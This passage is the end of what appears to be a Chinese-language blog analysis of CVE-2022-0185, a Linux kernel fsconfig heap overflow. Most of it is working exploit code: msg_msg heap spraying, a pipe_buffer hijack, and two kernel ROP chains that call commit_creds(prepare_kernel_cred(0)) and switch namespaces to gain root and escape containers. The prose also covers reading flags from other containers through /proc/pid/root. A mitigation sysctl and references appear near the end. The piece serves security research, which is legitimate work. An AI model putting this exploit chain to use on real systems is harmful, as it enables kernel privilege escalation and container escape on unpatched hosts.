evil_ptr[5] = make_sec_happy;
// in case null bytes in addresses
if(strlen(evil) != 0x30)
{
puts("unable to continue given heap addresses");
exit(-1);
}
puts("[*] Overflowing...");
fsconfig(fd, FSCONFIG_SET_STRING, evil, "\x00", 0);
puts("check heap to check preparedness for ignition");
stuff_4k(16);
for (int i = 0; i < P_SPRAY; i++)
{
memset(recieved, 0, sizeof(recieved));
// rely on error code to determine if we have found our target which we overflowed into
int ret = get_msg_no_err(targets[i], recieved, size+0x50-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
if (ret < 0)
{
ready = 1;
ignition_target = i;
break;
}
}
if (!ready)
{
puts("nothing ready for ignition, trying again");
// re-stuff freelist and stabilize
stuff_4k(16);
}
}
char overwrite[0x300] = {0};
memset(overwrite, 0x41, sizeof(overwrite));
uint64_t *overwrite_ptr = (uint64_t *)overwrite;
// redirect to "table" of stack pivots
overwrite_ptr[1] = kmalloc_512 + 0x50;
uint64_t user_rflags, user_cs, user_ss, user_sp;
asm volatile(
"mov %0, %%cs\n"
"mov %1, %%ss\n"
"mov %2, %%rsp\n"
"pushfq\n"
"pop %3\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags)
);
uint64_t chain[] =
{
pop_rdi,
0,
prepare_kernel_cred,
pop_rsi,
0xbaadbabe,
cmov_rdi_rax_esi_nz_pop_rbp,
0xdeadbeef,
commit_creds,
pop_rdi,
1,
find_task_by_vpid,
pop_rsi,
0xbaadbabe,
cmov_rdi_rax_esi_nz_pop_rbp,
0xdeadbeef,
pop_rsi,
init_nsproxy,
switch_task_namespaces,
kpti_trampoline,
0xdeadbeef,
0xbaadf00d,
(uint64_t)pwned,
user_cs,
user_rflags,
user_sp & 0xffffffffffffff00,
user_ss,
};
memcpy(&overwrite_ptr[2], chain, sizeof(chain));
for (int i = 0; i < P_SPRAY; i++)
{
get_msg(targets[i], recieved, size-0x30, 0, IPC_NOWAIT | MSG_NOERROR);
}
// spray rop chain plus evil vtable ptr to overlap with pipe_buffer
for (int i = 0; i < ROP_SPRAY; i++)
{
send_msg(rop_msg_qid[i], overwrite, 0x300 - 0x30, 0);
}
deplete_512();
deplete_4k();
puts("[*] Attempt at igniting ROP!");
// trigger
for (int i = 0; i < PIPES; i++)
{
close(pipefd[i][0]);
close(pipefd[i][1]);
}
}
读取flag:为了找到其他容器的flag,作者直接尝试获取 /proc/pid/root/flag/flag
(暴搜pid)。
缺点:需要三次触发漏洞,堆喷不一定稳定。
4-4 改进exploit
劫持RIP时的上下文:在调用执行 pipe_buffer->ops->release()
时,我们的环境中是 RSI 指向 pipe_buffer
。所以需要修改一下ROP链。主要参考 CVE-2021-22555 中用到的一个 stack pivot gadget —— push rsi; jmp qword ptr [rsi + 0x39]
,这样可以在 pipe_buffer+0x39
处放置一个 pop rsp
来劫持栈。
完整ROP链:
void build_krop(char *buf) {
uint64_t *rop;
*(uint64_t *)&buf[0x39] = pop_rsp;
*(uint64_t *)&buf[0x00] = add_rsp_0xd0;
rop = (uint64_t *)&buf[0xD8];
*rop++ = pop_rdi;
*rop++ = 0;
*rop++ = prepare_kernel_cred;
*rop++ = mov_rdi_rax_pop_pop;
*rop++ = 0xdeadbeef;
*rop++ = 0xdeadbeef;
*rop++ = commit_creds;
*rop++ = pop_rdi;
*rop++ = 1;
*rop++ = find_task_by_vpid;
*rop++ = mov_rdi_rax_pop_pop;
*rop++ = 0xdeadbeef;
*rop++ = 0xdeadbeef;
*rop++ = pop_rsi;
*rop++ = init_nsproxy;
*rop++ = switch_task_namespaces;
*rop++ = kpti_trampoline;
*rop++ = 0xdeadbeef;
*rop++ = 0xbaadf00d;
*rop++ = (uint64_t)pwned;
*rop++ = user_cs;
*rop++ = user_rflags;
*rop++ = user_sp & 0xffffffffffffff00;
*rop++ = user_ss;
}
提权截图:
注意:5.7 版本以后的内核使得堆利用更稳定了。如果 freelist pointer 在chunk的开头,堆喷成功率不超过50%,但是5.7版本以后将 freelist pointer 挪到 chunk中间( move the freelist pointer to the middle )以避免堆溢出的危害,这意味着只要堆溢出不会破坏重要的数据结构,我们可以在4k页中溢出很长也不会破坏堆状态(msg_msg
需要溢出覆盖前0x30字节),便于泄露内存和实现任意写。
作者写了两个exp,一个用于Ubuntu 20.04 的提权——exploit_fuse.c(5.7以后版本都很好利用,-p
提权),一个用于google的Kubernets集群的 KCTF环境——exploit_kctf.c 。
临时防护:Ubuntu中可以禁用命名空间
sysctl -w kernel.unprivileged_userns_clone=0
PS:作者的第2种利用方法,需要触发漏洞三次,可能导致堆喷不稳定,结果发现提权很稳定。可能是作者先申请了 4096 个位于 kmalloc-4096 的 msg_msg
,然后每触发一次都会释放一部分 msg_msg
—— 调用stuff_4k(16)
,只能说作者太厉害了,这么尝试的话我会崩溃的。。。可以改进一下只触发两次漏洞完成提权,一次泄露堆地址,一次用来构造任意释放,构造两块重叠的 0x400 堆块,用 SKB泄露pipe_buffer
中的内核基地址,然后利用SKB堆喷伪造 pipe_buffer
劫持控制流。
参考
CVE-2022-0185 - Winning a $31337 Bounty after Pwning Ubuntu and Escaping Google’s KCTF Containers
FUSE利用技术 —— slideshow / FUSE technique
[漏洞分析] CVE-2022-0185 linux 内核提权(逃逸)
CVE-2022-0185:Linux kernel bug可实现Kubernetes容器逃逸
文档信息
- 本文作者:bsauce
- 本文链接:https://bsauce.github.io/2022/04/08/CVE-2022-0185/
- 版权声明:自由转载-非商用-非衍生-保持署名(创意共享3.0许可证)